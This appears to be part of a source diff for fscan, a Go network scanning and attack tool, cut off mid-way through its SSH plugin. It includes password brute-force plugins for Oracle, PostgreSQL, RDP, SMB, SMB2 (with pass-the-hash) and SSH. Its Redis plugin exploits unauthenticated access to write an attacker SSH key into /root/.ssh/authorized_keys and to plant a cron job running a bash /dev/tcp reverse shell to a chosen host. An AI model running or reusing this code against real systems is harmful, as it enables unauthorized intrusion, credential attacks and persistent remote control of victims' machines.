start := bytes.Index(ret, []byte("NTLMSSP"))
if len(ret) < start+45 {
return
}
num1, err = bytetoint(ret[start+40 : start+41][0])
if err != nil {
return
}
num2, err = bytetoint(ret[start+41 : start+42][0])
if err != nil {
return
}
length = num1 + num2*256
_, err = bytetoint(ret[start+44 : start+45][0])
if err != nil {
return
}
offset, err := bytetoint(ret[start+44 : start+45][0])
if err != nil || len(ret) < start+offset+length {
return
}
var msg string
index := start + offset
for index < start+offset+length {
item_type := ret[index : index+2]
num1, err = bytetoint(ret[index+2 : index+3][0])
if err != nil {
continue
}
num2, err = bytetoint(ret[index+3 : index+4][0])
if err != nil {
continue
}
item_length := num1 + num2*256
item_content := bytes.ReplaceAll(ret[index+4:index+4+item_length], []byte{0x00}, []byte{})
index += 4 + item_length
if string(item_type) == "\x07\x00" {
//Time stamp, 不需要输出
} else if NetBIOS_ITEM_TYPE[string(item_type)] != "" {
msg += fmt.Sprintf("%s: %s\n", NetBIOS_ITEM_TYPE[string(item_type)], string(item_content))
} else if string(item_type) == "\x00\x00" {
break
}
}
err = yaml.Unmarshal([]byte(msg), &netbios)
return
}
func JoinNetBios(netbios1, netbios2 *NetBiosInfo) *NetBiosInfo {
netbios1.ComputerName = netbios2.ComputerName
netbios1.NetDomainName = netbios2.NetDomainName
netbios1.NetComputerName = netbios2.NetComputerName
if netbios2.DomainName != "" {
netbios1.DomainName = netbios2.DomainName
}
netbios1.OsVersion = netbios2.OsVersion
return netbios1
}
+79
View File
@@ -0,0 +1,79 @@
package Plugins
import (
"database/sql"
"fmt"
"github.com/shadow1ng/fscan/Common"
_ "github.com/sijms/go-ora/v2"
"strings"
"time"
)
// OracleScan 执行Oracle服务扫描
func OracleScan(info *Common.HostInfo) (tmperr error) {
if Common.IsBrute {
return
}
starttime := time.Now().Unix()
// 尝试用户名密码组合
for _, user := range Common.Userdict["oracle"] {
for _, pass := range Common.Passwords {
// 替换密码中的用户名占位符
pass = strings.Replace(pass, "{user}", user, -1)
flag, err := OracleConn(info, user, pass)
if flag && err == nil {
return err
}
// 记录错误信息
errlog := fmt.Sprintf("[-] Oracle %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
Common.LogError(errlog)
tmperr = err
if Common.CheckErrs(err) {
return err
}
// 超时检查
if time.Now().Unix()-starttime > (int64(len(Common.Userdict["oracle"])*len(Common.Passwords)) * Common.Timeout) {
return err
}
}
}
return tmperr
}
// OracleConn 尝试Oracle连接
func OracleConn(info *Common.HostInfo, user string, pass string) (bool, error) {
host, port, username, password := info.Host, info.Ports, user, pass
timeout := time.Duration(Common.Timeout) * time.Second
// 构造连接字符串
connStr := fmt.Sprintf("oracle://%s:%s@%s:%s/orcl",
username, password, host, port)
// 建立数据库连接
db, err := sql.Open("oracle", connStr)
if err != nil {
return false, err
}
defer db.Close()
// 设置连接参数
db.SetConnMaxLifetime(timeout)
db.SetConnMaxIdleTime(timeout)
db.SetMaxIdleConns(0)
// 测试连接
if err = db.Ping(); err != nil {
return false, err
}
// 连接成功
result := fmt.Sprintf("[+] Oracle %v:%v:%v %v", host, port, username, password)
Common.LogSuccess(result)
return true, nil
}
+79
View File
@@ -0,0 +1,79 @@
package Plugins
import (
"database/sql"
"fmt"
_ "github.com/lib/pq"
"github.com/shadow1ng/fscan/Common"
"strings"
"time"
)
// PostgresScan 执行PostgreSQL服务扫描
func PostgresScan(info *Common.HostInfo) (tmperr error) {
if Common.IsBrute {
return
}
starttime := time.Now().Unix()
// 尝试用户名密码组合
for _, user := range Common.Userdict["postgresql"] {
for _, pass := range Common.Passwords {
// 替换密码中的用户名占位符
pass = strings.Replace(pass, "{user}", user, -1)
flag, err := PostgresConn(info, user, pass)
if flag && err == nil {
return err
}
// 记录错误信息
errlog := fmt.Sprintf("[-] PostgreSQL %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
Common.LogError(errlog)
tmperr = err
if Common.CheckErrs(err) {
return err
}
// 超时检查
if time.Now().Unix()-starttime > (int64(len(Common.Userdict["postgresql"])*len(Common.Passwords)) * Common.Timeout) {
return err
}
}
}
return tmperr
}
// PostgresConn 尝试PostgreSQL连接
func PostgresConn(info *Common.HostInfo, user string, pass string) (bool, error) {
host, port, username, password := info.Host, info.Ports, user, pass
timeout := time.Duration(Common.Timeout) * time.Second
// 构造连接字符串
connStr := fmt.Sprintf(
"postgres://%v:%v@%v:%v/postgres?sslmode=disable",
username, password, host, port,
)
// 建立数据库连接
db, err := sql.Open("postgres", connStr)
if err != nil {
return false, err
}
defer db.Close()
// 设置连接参数
db.SetConnMaxLifetime(timeout)
// 测试连接
if err = db.Ping(); err != nil {
return false, err
}
// 连接成功
result := fmt.Sprintf("[+] PostgreSQL %v:%v:%v %v", host, port, username, password)
Common.LogSuccess(result)
return true, nil
}
+243
View File
@@ -0,0 +1,243 @@
package Plugins
import (
"errors"
"fmt"
"github.com/shadow1ng/fscan/Common"
"github.com/tomatome/grdp/core"
"github.com/tomatome/grdp/glog"
"github.com/tomatome/grdp/protocol/nla"
"github.com/tomatome/grdp/protocol/pdu"
"github.com/tomatome/grdp/protocol/rfb"
"github.com/tomatome/grdp/protocol/sec"
"github.com/tomatome/grdp/protocol/t125"
"github.com/tomatome/grdp/protocol/tpkt"
"github.com/tomatome/grdp/protocol/x224"
"log"
"net"
"os"
"strconv"
"strings"
"sync"
"time"
)
// Brutelist 表示暴力破解的用户名密码组合
type Brutelist struct {
user string
pass string
}
// RdpScan 执行RDP服务扫描
func RdpScan(info *Common.HostInfo) (tmperr error) {
if Common.IsBrute {
return
}
var (
wg sync.WaitGroup
signal bool
num = 0
all = len(Common.Userdict["rdp"]) * len(Common.Passwords)
mutex sync.Mutex
)
// 创建任务通道
brlist := make(chan Brutelist)
port, _ := strconv.Atoi(info.Ports)
// 启动工作协程
for i := 0; i < Common.BruteThread; i++ {
wg.Add(1)
go worker(info.Host, Common.Domain, port, &wg, brlist, &signal, &num, all, &mutex, Common.Timeout)
}
// 分发扫描任务
for _, user := range Common.Userdict["rdp"] {
for _, pass := range Common.Passwords {
pass = strings.Replace(pass, "{user}", user, -1)
brlist <- Brutelist{user, pass}
}
}
close(brlist)
// 等待所有任务完成
go func() {
wg.Wait()
signal = true
}()
for !signal {
}
return tmperr
}
// worker RDP扫描工作协程
func worker(host, domain string, port int, wg *sync.WaitGroup, brlist chan Brutelist,
signal *bool, num *int, all int, mutex *sync.Mutex, timeout int64) {
defer wg.Done()
for one := range brlist {
if *signal {
return
}
go incrNum(num, mutex)
user, pass := one.user, one.pass
flag, err := RdpConn(host, domain, user, pass, port, timeout)
if flag && err == nil {
// 连接成功
var result string
if domain != "" {
result = fmt.Sprintf("[+] RDP %v:%v:%v\\%v %v", host, port, domain, user, pass)
} else {
result = fmt.Sprintf("[+] RDP %v:%v:%v %v", host, port, user, pass)
}
Common.LogSuccess(result)
*signal = true
return
}
// 连接失败
errlog := fmt.Sprintf("[-] (%v/%v) RDP %v:%v %v %v %v", *num, all, host, port, user, pass, err)
Common.LogError(errlog)
}
}
// incrNum 线程安全地增加计数器
func incrNum(num *int, mutex *sync.Mutex) {
mutex.Lock()
*num++
mutex.Unlock()
}
// RdpConn 尝试RDP连接
func RdpConn(ip, domain, user, password string, port int, timeout int64) (bool, error) {
target := fmt.Sprintf("%s:%d", ip, port)
// 创建RDP客户端
client := NewClient(target, glog.NONE)
if err := client.Login(domain, user, password, timeout); err != nil {
return false, err
}
return true, nil
}
// Client RDP客户端结构
type Client struct {
Host string // 服务地址(ip:port)
tpkt *tpkt.TPKT // TPKT协议层
x224 *x224.X224 // X224协议层
mcs *t125.MCSClient // MCS协议层
sec *sec.Client // 安全层
pdu *pdu.Client // PDU协议层
vnc *rfb.RFB // VNC协议(可选)
}
// NewClient 创建新的RDP客户端
func NewClient(host string, logLevel glog.LEVEL) *Client {
// 配置日志
glog.SetLevel(logLevel)
logger := log.New(os.Stdout, "", 0)
glog.SetLogger(logger)
return &Client{
Host: host,
}
}
// Login 执行RDP登录
func (g *Client) Login(domain, user, pwd string, timeout int64) error {
// 建立TCP连接
conn, err := Common.WrapperTcpWithTimeout("tcp", g.Host, time.Duration(timeout)*time.Second)
if err != nil {
return fmt.Errorf("[连接错误] %v", err)
}
defer conn.Close()
glog.Info(conn.LocalAddr().String())
// 初始化协议栈
g.initProtocolStack(conn, domain, user, pwd)
// 建立X224连接
if err = g.x224.Connect(); err != nil {
return fmt.Errorf("[X224连接错误] %v", err)
}
glog.Info("等待连接建立...")
// 等待连接完成
wg := &sync.WaitGroup{}
breakFlag := false
wg.Add(1)
// 设置事件处理器
g.setupEventHandlers(wg, &breakFlag, &err)
wg.Wait()
return err
}
// initProtocolStack 初始化RDP协议栈
func (g *Client) initProtocolStack(conn net.Conn, domain, user, pwd string) {
// 创建协议层实例
g.tpkt = tpkt.New(core.NewSocketLayer(conn), nla.NewNTLMv2(domain, user, pwd))
g.x224 = x224.New(g.tpkt)
g.mcs = t125.NewMCSClient(g.x224)
g.sec = sec.NewClient(g.mcs)
g.pdu = pdu.NewClient(g.sec)
// 设置认证信息
g.sec.SetUser(user)
g.sec.SetPwd(pwd)
g.sec.SetDomain(domain)
// 配置协议层关联
g.tpkt.SetFastPathListener(g.sec)
g.sec.SetFastPathListener(g.pdu)
g.pdu.SetFastPathSender(g.tpkt)
}
// setupEventHandlers 设置PDU事件处理器
func (g *Client) setupEventHandlers(wg *sync.WaitGroup, breakFlag *bool, err *error) {
// 错误处理
g.pdu.On("error", func(e error) {
*err = e
glog.Error("错误:", e)
g.pdu.Emit("done")
})
// 连接关闭
g.pdu.On("close", func() {
*err = errors.New("连接关闭")
glog.Info("连接已关闭")
g.pdu.Emit("done")
})
// 连接成功
g.pdu.On("success", func() {
*err = nil
glog.Info("连接成功")
g.pdu.Emit("done")
})
// 连接就绪
g.pdu.On("ready", func() {
glog.Info("连接就绪")
g.pdu.Emit("done")
})
// 屏幕更新
g.pdu.On("update", func(rectangles []pdu.BitmapData) {
glog.Info("屏幕更新:", rectangles)
})
// 完成处理
g.pdu.On("done", func() {
if !*breakFlag {
*breakFlag = true
wg.Done()
}
})
}
+513
View File
@@ -0,0 +1,513 @@
package Plugins
import (
"bufio"
"fmt"
"github.com/shadow1ng/fscan/Common"
"io"
"net"
"os"
"strings"
"time"
)
var (
dbfilename string // Redis数据库文件名
dir string // Redis数据库目录
)
// RedisScan 执行Redis服务扫描
func RedisScan(info *Common.HostInfo) (tmperr error) {
fmt.Println("[+] Redis扫描模块开始...")
starttime := time.Now().Unix()
// 尝试无密码连接
flag, err := RedisUnauth(info)
if flag && err == nil {
return err
}
if Common.IsBrute {
return
}
// 尝试密码暴力破解
for _, pass := range Common.Passwords {
pass = strings.Replace(pass, "{user}", "redis", -1)
flag, err := RedisConn(info, pass)
if flag && err == nil {
return err
}
// 记录错误信息
errlog := fmt.Sprintf("[-] Redis %v:%v %v %v", info.Host, info.Ports, pass, err)
Common.LogError(errlog)
tmperr = err
if Common.CheckErrs(err) {
return err
}
// 超时检查
if time.Now().Unix()-starttime > (int64(len(Common.Passwords)) * Common.Timeout) {
return err
}
}
fmt.Println("[+] Redis扫描模块结束...")
return tmperr
}
// RedisConn 尝试Redis连接
func RedisConn(info *Common.HostInfo, pass string) (bool, error) {
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
// 建立TCP连接
conn, err := Common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(Common.Timeout)*time.Second)
if err != nil {
return false, err
}
defer conn.Close()
// 设置超时
if err = conn.SetReadDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil {
return false, err
}
// 发送认证命令
if _, err = conn.Write([]byte(fmt.Sprintf("auth %s\r\n", pass))); err != nil {
return false, err
}
// 读取响应
reply, err := readreply(conn)
if err != nil {
return false, err
}
// 认证成功
if strings.Contains(reply, "+OK") {
// 获取配置信息
dbfilename, dir, err = getconfig(conn)
if err != nil {
result := fmt.Sprintf("[+] Redis %s %s", realhost, pass)
Common.LogSuccess(result)
return true, err
}
result := fmt.Sprintf("[+] Redis %s %s file:%s/%s", realhost, pass, dir, dbfilename)
Common.LogSuccess(result)
// 尝试利用
err = Expoilt(realhost, conn)
return true, err
}
return false, err
}
// RedisUnauth 尝试Redis未授权访问检测
func RedisUnauth(info *Common.HostInfo) (flag bool, err error) {
flag = false
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
// 建立TCP连接
conn, err := Common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(Common.Timeout)*time.Second)
if err != nil {
Common.LogError(fmt.Sprintf("[-] Redis连接失败 %s: %v", realhost, err))
return flag, err
}
defer conn.Close()
// 设置读取超时
if err = conn.SetReadDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil {
Common.LogError(fmt.Sprintf("[-] Redis %s 设置超时失败: %v", realhost, err))
return flag, err
}
// 发送info命令测试未授权访问
_, err = conn.Write([]byte("info\r\n"))
if err != nil {
Common.LogError(fmt.Sprintf("[-] Redis %s 发送命令失败: %v", realhost, err))
return flag, err
}
// 读取响应
reply, err := readreply(conn)
if err != nil {
Common.LogError(fmt.Sprintf("[-] Redis %s 读取响应失败: %v", realhost, err))
return flag, err
}
// 判断是否存在未授权访问
if strings.Contains(reply, "redis_version") {
flag = true
// 获取Redis配置信息
dbfilename, dir, err = getconfig(conn)
if err != nil {
result := fmt.Sprintf("[+] Redis %s 发现未授权访问", realhost)
Common.LogSuccess(result)
return flag, err
}
// 输出详细信息
result := fmt.Sprintf("[+] Redis %s 发现未授权访问 文件位置:%s/%s", realhost, dir, dbfilename)
Common.LogSuccess(result)
// 尝试漏洞利用
err = Expoilt(realhost, conn)
if err != nil {
Common.LogError(fmt.Sprintf("[-] Redis %s 漏洞利用失败: %v", realhost, err))
}
}
return flag, err
}
// Expoilt 尝试Redis漏洞利用
func Expoilt(realhost string, conn net.Conn) error {
// 如果配置为不进行测试则直接返回
if Common.Noredistest {
return nil
}
// 测试目录写入权限
flagSsh, flagCron, err := testwrite(conn)
if err != nil {
Common.LogError(fmt.Sprintf("[-] Redis %v 测试写入权限失败: %v", realhost, err))
return err
}
// SSH密钥写入测试
if flagSsh {
Common.LogSuccess(fmt.Sprintf("[+] Redis %v 可写入路径 /root/.ssh/", realhost))
// 如果指定了密钥文件则尝试写入
if Common.RedisFile != "" {
writeok, text, err := writekey(conn, Common.RedisFile)
if err != nil {
Common.LogError(fmt.Sprintf("[-] Redis %v SSH密钥写入错误: %v %v", realhost, text, err))
return err
}
if writeok {
Common.LogSuccess(fmt.Sprintf("[+] Redis %v SSH公钥写入成功", realhost))
} else {
Common.LogError(fmt.Sprintf("[-] Redis %v SSH公钥写入失败: %v", realhost, text))
}
}
}
// 定时任务写入测试
if flagCron {
Common.LogSuccess(fmt.Sprintf("[+] Redis %v 可写入路径 /var/spool/cron/", realhost))
// 如果指定了shell命令则尝试写入定时任务
if Common.RedisShell != "" {
writeok, text, err := writecron(conn, Common.RedisShell)
if err != nil {
Common.LogError(fmt.Sprintf("[-] Redis %v 定时任务写入错误: %v", realhost, err))
return err
}
if writeok {
Common.LogSuccess(fmt.Sprintf("[+] Redis %v 成功写入 /var/spool/cron/root", realhost))
} else {
Common.LogError(fmt.Sprintf("[-] Redis %v 定时任务写入失败: %v", realhost, text))
}
}
}
// 恢复数据库配置
if err = recoverdb(dbfilename, dir, conn); err != nil {
Common.LogError(fmt.Sprintf("[-] Redis %v 恢复数据库失败: %v", realhost, err))
}
return err
}
// writekey 向Redis写入SSH密钥
func writekey(conn net.Conn, filename string) (flag bool, text string, err error) {
flag = false
// 设置文件目录为SSH目录
_, err = conn.Write([]byte("CONFIG SET dir /root/.ssh/\r\n"))
if err != nil {
return flag, text, err
}
text, err = readreply(conn)
if err != nil {
return flag, text, err
}
// 设置文件名为authorized_keys
if strings.Contains(text, "OK") {
_, err = conn.Write([]byte("CONFIG SET dbfilename authorized_keys\r\n"))
if err != nil {
return flag, text, err
}
text, err = readreply(conn)
if err != nil {
return flag, text, err
}
// 读取并写入SSH密钥
if strings.Contains(text, "OK") {
// 读取密钥文件
key, err := Readfile(filename)
if err != nil {
text = fmt.Sprintf("[-] 读取密钥文件 %s 失败: %v", filename, err)
return flag, text, err
}
if len(key) == 0 {
text = fmt.Sprintf("[-] 密钥文件 %s 为空", filename)
return flag, text, err
}
// 写入密钥
_, err = conn.Write([]byte(fmt.Sprintf("set x \"\\n\\n\\n%v\\n\\n\\n\"\r\n", key)))
if err != nil {
return flag, text, err
}
text, err = readreply(conn)
if err != nil {
return flag, text, err
}
// 保存更改
if strings.Contains(text, "OK") {
_, err = conn.Write([]byte("save\r\n"))
if err != nil {
return flag, text, err
}
text, err = readreply(conn)
if err != nil {
return flag, text, err
}
if strings.Contains(text, "OK") {
flag = true
}
}
}
}
// 截断过长的响应文本
text = strings.TrimSpace(text)
if len(text) > 50 {
text = text[:50]
}
return flag, text, err
}
// writecron 向Redis写入定时任务
func writecron(conn net.Conn, host string) (flag bool, text string, err error) {
flag = false
// 首先尝试Ubuntu系统的cron路径
_, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/crontabs/\r\n"))
if err != nil {
return flag, text, err
}
text, err = readreply(conn)
if err != nil {
return flag, text, err
}
// 如果Ubuntu路径失败,尝试CentOS系统的cron路径
if !strings.Contains(text, "OK") {
_, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/\r\n"))
if err != nil {
return flag, text, err
}
text, err = readreply(conn)
if err != nil {
return flag, text, err
}
}
// 如果成功设置目录,继续后续操作
if strings.Contains(text, "OK") {
// 设置数据库文件名为root
_, err = conn.Write([]byte("CONFIG SET dbfilename root\r\n"))
if err != nil {
return flag, text, err
}
text, err = readreply(conn)
if err != nil {
return flag, text, err
}
if strings.Contains(text, "OK") {
// 解析目标主机地址
target := strings.Split(host, ":")
if len(target) < 2 {
return flag, "[-] 主机地址格式错误", err
}
scanIp, scanPort := target[0], target[1]
// 写入反弹shell的定时任务
cronCmd := fmt.Sprintf("set xx \"\\n* * * * * bash -i >& /dev/tcp/%v/%v 0>&1\\n\"\r\n",
scanIp, scanPort)
_, err = conn.Write([]byte(cronCmd))
if err != nil {
return flag, text, err
}
text, err = readreply(conn)
if err != nil {
return flag, text, err
}
// 保存更改
if strings.Contains(text, "OK") {
_, err = conn.Write([]byte("save\r\n"))
if err != nil {
return flag, text, err
}
text, err = readreply(conn)
if err != nil {
return flag, text, err
}
if strings.Contains(text, "OK") {
flag = true
}
}
}
}
// 截断过长的响应文本
text = strings.TrimSpace(text)
if len(text) > 50 {
text = text[:50]
}
return flag, text, err
}
// Readfile 读取文件内容并返回第一个非空行
func Readfile(filename string) (string, error) {
file, err := os.Open(filename)
if err != nil {
return "", err
}
defer file.Close()
scanner := bufio.NewScanner(file)
for scanner.Scan() {
text := strings.TrimSpace(scanner.Text())
if text != "" {
return text, nil
}
}
return "", err
}
// readreply 读取Redis服务器响应
func readreply(conn net.Conn) (string, error) {
// 设置1秒读取超时
conn.SetReadDeadline(time.Now().Add(time.Second))
bytes, err := io.ReadAll(conn)
// 如果读取到内容则不返回错误
if len(bytes) > 0 {
err = nil
}
return string(bytes), err
}
// testwrite 测试Redis写入权限
func testwrite(conn net.Conn) (flag bool, flagCron bool, err error) {
// 测试SSH目录写入权限
_, err = conn.Write([]byte("CONFIG SET dir /root/.ssh/\r\n"))
if err != nil {
return flag, flagCron, err
}
text, err := readreply(conn)
if err != nil {
return flag, flagCron, err
}
if strings.Contains(text, "OK") {
flag = true
}
// 测试定时任务目录写入权限
_, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/\r\n"))
if err != nil {
return flag, flagCron, err
}
text, err = readreply(conn)
if err != nil {
return flag, flagCron, err
}
if strings.Contains(text, "OK") {
flagCron = true
}
return flag, flagCron, err
}
// getconfig 获取Redis配置信息
func getconfig(conn net.Conn) (dbfilename string, dir string, err error) {
// 获取数据库文件名
_, err = conn.Write([]byte("CONFIG GET dbfilename\r\n"))
if err != nil {
return
}
text, err := readreply(conn)
if err != nil {
return
}
// 解析数据库文件名
text1 := strings.Split(text, "\r\n")
if len(text1) > 2 {
dbfilename = text1[len(text1)-2]
} else {
dbfilename = text1[0]
}
// 获取数据库目录
_, err = conn.Write([]byte("CONFIG GET dir\r\n"))
if err != nil {
return
}
text, err = readreply(conn)
if err != nil {
return
}
// 解析数据库目录
text1 = strings.Split(text, "\r\n")
if len(text1) > 2 {
dir = text1[len(text1)-2]
} else {
dir = text1[0]
}
return
}
// recoverdb 恢复Redis数据库配置
func recoverdb(dbfilename string, dir string, conn net.Conn) (err error) {
// 恢复数据库文件名
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename %s\r\n", dbfilename)))
if err != nil {
return
}
_, err = readreply(conn)
if err != nil {
return
}
// 恢复数据库目录
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir %s\r\n", dir)))
if err != nil {
return
}
_, err = readreply(conn)
if err != nil {
return
}
return
}
+110
View File
@@ -0,0 +1,110 @@
package Plugins
import (
"errors"
"fmt"
"github.com/shadow1ng/fscan/Common"
"github.com/stacktitan/smb/smb"
"strings"
"time"
)
// SmbScan 执行SMB服务的认证扫描
func SmbScan(info *Common.HostInfo) (tmperr error) {
// 如果未启用暴力破解则直接返回
if Common.IsBrute {
return nil
}
startTime := time.Now().Unix()
// 遍历用户名和密码字典进行认证尝试
for _, user := range Common.Userdict["smb"] {
for _, pass := range Common.Passwords {
// 替换密码中的用户名占位符
pass = strings.Replace(pass, "{user}", user, -1)
// 执行带超时的认证
success, err := doWithTimeOut(info, user, pass)
if success && err == nil {
// 认证成功,记录结果
var result string
if Common.Domain != "" {
result = fmt.Sprintf("[✓] SMB认证成功 %v:%v Domain:%v\\%v Pass:%v",
info.Host, info.Ports, Common.Domain, user, pass)
} else {
result = fmt.Sprintf("[✓] SMB认证成功 %v:%v User:%v Pass:%v",
info.Host, info.Ports, user, pass)
}
Common.LogSuccess(result)
return err
} else {
// 认证失败,记录错误
errorMsg := fmt.Sprintf("[x] SMB认证失败 %v:%v User:%v Pass:%v Err:%v",
info.Host, info.Ports, user, pass,
strings.ReplaceAll(err.Error(), "\n", ""))
Common.LogError(errorMsg)
tmperr = err
// 检查是否需要中断扫描
if Common.CheckErrs(err) {
return err
}
// 检查是否超时
timeoutLimit := int64(len(Common.Userdict["smb"])*len(Common.Passwords)) * Common.Timeout
if time.Now().Unix()-startTime > timeoutLimit {
return err
}
}
}
}
return tmperr
}
// SmblConn 尝试建立SMB连接并进行认证
func SmblConn(info *Common.HostInfo, user string, pass string, signal chan struct{}) (flag bool, err error) {
flag = false
// 配置SMB连接选项
options := smb.Options{
Host: info.Host,
Port: 445,
User: user,
Password: pass,
Domain: Common.Domain,
Workstation: "",
}
// 尝试建立SMB会话
session, err := smb.NewSession(options, false)
if err == nil {
defer session.Close()
if session.IsAuthenticated {
flag = true
}
}
// 发送完成信号
signal <- struct{}{}
return flag, err
}
// doWithTimeOut 执行带超时的SMB连接认证
func doWithTimeOut(info *Common.HostInfo, user string, pass string) (flag bool, err error) {
signal := make(chan struct{})
// 在goroutine中执行SMB连接
go func() {
flag, err = SmblConn(info, user, pass, signal)
}()
// 等待连接结果或超时
select {
case <-signal:
return flag, err
case <-time.After(time.Duration(Common.Timeout) * time.Second):
return false, errors.New("[!] SMB连接超时")
}
}
+224
View File
@@ -0,0 +1,224 @@
package Plugins
import (
"fmt"
"github.com/shadow1ng/fscan/Common"
"net"
"os"
"strings"
"time"
"github.com/hirochachacha/go-smb2"
)
// SmbScan2 执行SMB2服务的认证扫描,支持密码和哈希两种认证方式
func SmbScan2(info *Common.HostInfo) (tmperr error) {
// 如果未启用暴力破解则直接返回
if Common.IsBrute {
return nil
}
hasprint := false
startTime := time.Now().Unix()
// 使用哈希认证模式
if len(Common.HashBytes) > 0 {
return smbHashScan(info, hasprint, startTime)
}
// 使用密码认证模式
return smbPasswordScan(info, hasprint, startTime)
}
// smbHashScan 使用哈希进行认证扫描
func smbHashScan(info *Common.HostInfo, hasprint bool, startTime int64) error {
for _, user := range Common.Userdict["smb"] {
for _, hash := range Common.HashBytes {
success, err, printed := Smb2Con(info, user, "", hash, hasprint)
if printed {
hasprint = true
}
if success {
logSuccessfulAuth(info, user, "", hash)
return err
}
logFailedAuth(info, user, "", hash, err)
if shouldStopScan(err, startTime, len(Common.Userdict["smb"])*len(Common.HashBytes)) {
return err
}
if len(Common.Hash) > 0 {
break
}
}
}
return nil
}
// smbPasswordScan 使用密码进行认证扫描
func smbPasswordScan(info *Common.HostInfo, hasprint bool, startTime int64) error {
for _, user := range Common.Userdict["smb"] {
for _, pass := range Common.Passwords {
pass = strings.ReplaceAll(pass, "{user}", user)
success, err, printed := Smb2Con(info, user, pass, []byte{}, hasprint)
if printed {
hasprint = true
}
if success {
logSuccessfulAuth(info, user, pass, []byte{})
return err
}
logFailedAuth(info, user, pass, []byte{}, err)
if shouldStopScan(err, startTime, len(Common.Userdict["smb"])*len(Common.Passwords)) {
return err
}
if len(Common.Hash) > 0 {
break
}
}
}
fmt.Println("[+] Smb2扫描模块结束...")
return nil
}
// logSuccessfulAuth 记录成功的认证
func logSuccessfulAuth(info *Common.HostInfo, user, pass string, hash []byte) {
var result string
if Common.Domain != "" {
result = fmt.Sprintf("[✓] SMB2认证成功 %v:%v Domain:%v\\%v ",
info.Host, info.Ports, Common.Domain, user)
} else {
result = fmt.Sprintf("[✓] SMB2认证成功 %v:%v User:%v ",
info.Host, info.Ports, user)
}
if len(hash) > 0 {
result += fmt.Sprintf("Hash:%v", Common.Hash)
} else {
result += fmt.Sprintf("Pass:%v", pass)
}
Common.LogSuccess(result)
}
// logFailedAuth 记录失败的认证
func logFailedAuth(info *Common.HostInfo, user, pass string, hash []byte, err error) {
var errlog string
if len(hash) > 0 {
errlog = fmt.Sprintf("[x] SMB2认证失败 %v:%v User:%v Hash:%v Err:%v",
info.Host, info.Ports, user, Common.Hash, err)
} else {
errlog = fmt.Sprintf("[x] SMB2认证失败 %v:%v User:%v Pass:%v Err:%v",
info.Host, info.Ports, user, pass, err)
}
errlog = strings.ReplaceAll(errlog, "\n", " ")
Common.LogError(errlog)
}
// shouldStopScan 检查是否应该停止扫描
func shouldStopScan(err error, startTime int64, totalAttempts int) bool {
if Common.CheckErrs(err) {
return true
}
if time.Now().Unix()-startTime > (int64(totalAttempts) * Common.Timeout) {
return true
}
return false
}
// Smb2Con 尝试SMB2连接并进行认证,检查共享访问权限
func Smb2Con(info *Common.HostInfo, user string, pass string, hash []byte, hasprint bool) (flag bool, err error, flag2 bool) {
// 建立TCP连接
conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:445", info.Host),
time.Duration(Common.Timeout)*time.Second)
if err != nil {
return false, fmt.Errorf("连接失败: %v", err), false
}
defer conn.Close()
// 配置NTLM认证
initiator := smb2.NTLMInitiator{
User: user,
Domain: Common.Domain,
}
// 设置认证方式(哈希或密码)
if len(hash) > 0 {
initiator.Hash = hash
} else {
initiator.Password = pass
}
// 创建SMB2会话
d := &smb2.Dialer{
Initiator: &initiator,
}
session, err := d.Dial(conn)
if err != nil {
return false, fmt.Errorf("SMB2会话建立失败: %v", err), false
}
defer session.Logoff()
// 获取共享列表
shares, err := session.ListSharenames()
if err != nil {
return false, fmt.Errorf("获取共享列表失败: %v", err), false
}
// 打印共享信息(如果未打印过)
if !hasprint {
logShareInfo(info, user, pass, hash, shares)
flag2 = true
}
// 尝试访问C$共享以验证管理员权限
fs, err := session.Mount("C$")
if err != nil {
return false, fmt.Errorf("挂载C$失败: %v", err), flag2
}
defer fs.Umount()
// 尝试读取系统文件以验证权限
path := `Windows\win.ini`
f, err := fs.OpenFile(path, os.O_RDONLY, 0666)
if err != nil {
return false, fmt.Errorf("访问系统文件失败: %v", err), flag2
}
defer f.Close()
return true, nil, flag2
}
// logShareInfo 记录SMB共享信息
func logShareInfo(info *Common.HostInfo, user string, pass string, hash []byte, shares []string) {
var result string
// 构建基础信息
if Common.Domain != "" {
result = fmt.Sprintf("[*] SMB2共享信息 %v:%v Domain:%v\\%v ",
info.Host, info.Ports, Common.Domain, user)
} else {
result = fmt.Sprintf("[*] SMB2共享信息 %v:%v User:%v ",
info.Host, info.Ports, user)
}
// 添加认证信息
if len(hash) > 0 {
result += fmt.Sprintf("Hash:%v ", Common.Hash)
} else {
result += fmt.Sprintf("Pass:%v ", pass)
}
// 添加共享列表
result += fmt.Sprintf("可用共享: %v", shares)
Common.LogSuccess(result)
}
+225
View File
@@ -0,0 +1,225 @@
package Plugins
import (
"context"
"fmt"
"github.com/shadow1ng/fscan/Common"
"golang.org/x/crypto/ssh"
"io/ioutil"
"net"
"strings"
"time"
)
func SshScan(info *Common.HostInfo) (tmperr error) {
if Common.IsBrute {
return
}
// 增加全局扫描超时
scanCtx, scanCancel := context.WithTimeout(context.Background(), time.Duration(Common.Timeout*2)*time.Second)
defer scanCancel()
for _, user := range Common.Userdict["ssh"] {
for _, pass := range Common.Passwords {
// 使用全局 context 创建子 context
ctx, cancel := context.WithTimeout(scanCtx, time.Duration(Common.Timeout)*time.Second)
// 替换密码中的用户名占位符
pass = strings.Replace(pass, "{user}", user, -1)
currentUser := user
currentPass := pass
// 创建结果通道
done := make(chan struct {
success bool
err error
}, 1)
// 在 goroutine 中执行单次连接尝试
go func() {
success, err := SshConn(ctx, info, currentUser, currentPass)
select {
case done <- struct {
success bool
err error
}{success, err}:
case <-ctx.Done():
}
}()
// 等待连接结果或超时
var err error
select {
case result := <-done:
err = result.err
if result.success {
cancel()
return err
}
case <-ctx.Done():
err = fmt.Errorf("[-] 连接超时: %v", ctx.Err())
}
cancel()
// 记录失败信息
if err != nil {
